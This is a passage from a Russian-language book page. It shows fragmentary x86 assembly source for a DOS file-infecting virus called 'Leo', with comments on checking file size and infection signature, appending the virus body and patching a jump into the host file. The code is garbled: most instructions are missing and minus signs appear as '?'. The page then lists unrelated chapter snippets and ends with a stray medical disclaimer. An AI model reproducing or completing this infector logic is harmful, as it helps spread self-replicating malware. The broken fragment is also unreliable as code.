    ;Получаем длину файла, для чего переходим в конец файла

    ;Сохраняем полученную длину файла

    mov [bp+(offset flen?offset MySelf)],ax

    ;Проверяем длину файла

    ;Если файл не больше 64000 байт,– переходим

    ;к следующей проверке,

    ;иначе ищем другой файл (этот слишком велик для заражения)

    ;Проверим, не заражен ли файл.

    ;Для этого проверим сигнатуру вируса

    ;Переходим в конец файла (на последний байт)

    mov dx,[bp+(offset flen?offset MySelf)]

    ;Читаем сигнатуру вируса

    mov dx,offset bytik–offset myself

    ;Если при чтении файла ошибок

    ;не произошло – проверяем сигнатуру,

    ;иначе ищем следующий файл

    cmp byte ptr [bp+(offset bytik?offset myself)],CheckByte

    ;Если сигнатура есть, то ищем другой файл,

    ;если нет – будем заражать

    ;Файл не заражен – будем заражать

    mov ax,[bp+(offset flen?offset myself)]

    mov [bp+(offset jmp_cmd?offset myself)],ax

    ;Переходим в конец файла

    ;Устанавливаем регистр DS на сегмент кода

    ;Копируем вирус в файл

    mov cx,offset VirEnd–offset la

    sub dx,offset myself?offset la

    ;Записываем в начало файла переход на тело вируса

    ;Переходим в начало файла

    ;Записываем первые три байта файла (переход на тело вируса)

    mov dx,offset jmpvir–offset myself

    ;Восстанавливаем оригинальные атрибуты файла

    ;Восстанавливаем первоначальные значения регистров и флагов

    ;Передаем управление программе?носителю

    ;Байт для чтения сигнатуры

    ;Зарезервировано для изменения трех байт вируса

    ;Шаблон для поиска файлов

    ;Область для хранения команды перехода

    bytes_3 db 90h, 90h, 90h

    ;Байт памяти для чтения первого байта файла

    ;с целью проверки (E9h)

    virus_name db ”Leo”

    Данный текст является ознакомительным фрагментом.

    Читать книгу целиком

    Похожие главы из других книг:

    Совет 39: Общедоступный вирус Работая за чужим компьютером, можно не только оставить там что-то ценное, но и заполучить оттуда что-то неприятное. Речь, конечно, о вредоносных программах, которыми может быть заражена общедоступная система. Распространяться зловреды умеют

    Простейший Web-сценарий Первый Web-сценарий, который мы напишем, будет совсем простым. Он выведет на Web-страницу текущую дату.В самом начале этой книги, приступив к изучению HTML, мы создали небольшую Web-страничку 1.1.htm. Найдем ее и откроем в Блокноте. В самом конце ее HTML- кода,

    Простейший файл конфигурации #NeTAMS version 3.1(1205.408) compiled by root@avm#configuration built Thu Aug 8 09:03:53 2002#begin#global variables configurationdebug noneuser name admin real–name Admin password aaa email root@localhost permit all#services configurationservice server 0login locallisten 20001max–conn 6service processor 0lookup–delay 60flow–lifetime 180policy name ip target proto ippolicy name www target proto tcp port 80 81 8080 3128policy name

    Простейший Web-сценарий Первый Web-сценарий, который мы напишем, будет совсем простым. Он выведет на Web-страницу текущую дату.В самом начале этой книги, приступив к изучению HTML, мы создали небольшую Web-страничку 1.1.htm. Найдем ее и откроем в Блокноте. В самом конце ее HTML- кода,

    Вирус Троян Название Троян связано с городом Троя, вернее будет сказать, с большим и красивым конем, который был внесен в ее ворота самими жителями Трои. Лошадка эта рассматривалась жителями как дар завоевателей, которые днями напролет безуспешно пытались взять штурмом

    Простейший диодный ограничитель Ограничитель используется, чтобы передать на выход только часть входного напряжения произвольной формы. Когда диод включается, происходит отсечка: на выход независимо от входного сигнала подается сумма напряжений на источнике и

    1.2. Что такое вирус Как бы странно это ни звучало, компьютерный вирус – программа и, как правило, небольшая по размеру. Все дело в назначении и способе распространения. Обычная программа выполняет полезную работу, стараясь не нарушить функционирование операционной

    Простейший пример Чтобы продемонстрировать "пользу" структурированной обработки исключений, нужно создать тип, который в подходящем окружении может генерировать исключение. Предположим, что мы создали новое консольное приложение с именeм SimpleException, в котором

    Простейший пример делегата В начале освоения приемов работы с делегатами у программиста может возникать много вопросов. Поэтому мы начнем с рассмотрения очень простого примера, в котором используется созданный нами тип делегата BinaryOp. Вот программный код, который мы

    А.3.1. Простейший калькулятор Для иллюстрации методики профилирования мы напишем простейшую программу- калькулятор. Чтобы программа выполнялась нетривиальным образом, заставим ее работать с унарными числами, чего не встречается в реальных калькуляторах. Код программы

    Простейший текстовый редактор Когда вы создаете приложение с однооконным или многооконным интерфейсом при помощи средств MFC AppWizard, в последней диалоговой панели вы можете выбрать базовый класс для окна просмотра приложения. По умолчанию используется класс CView.От класса

    Как вирус попадает в компьютер Дискеты в наше время используются крайне редко, хотя раньше это был основной способ распространения вирусов. А может ли вирус попасть в ваш компьютер с лазерного диска CD или DVD? Если это лицензионный фирменный диск, то, скорее всего, — нет. Но

    Что такое вирус Раньше вирусом называлась вредоносная программа, способная к размножению. Размножение вируса осуществлялось путем инфицирования файлов или загрузочных секторов программ. Вирусы, которые инфицировали загрузочные секторы, назывались загрузочными.

  • Читайте также:

    Пожалуйста, не занимайтесь самолечением!
    При симпотмах заболевания - обратитесь к врачу.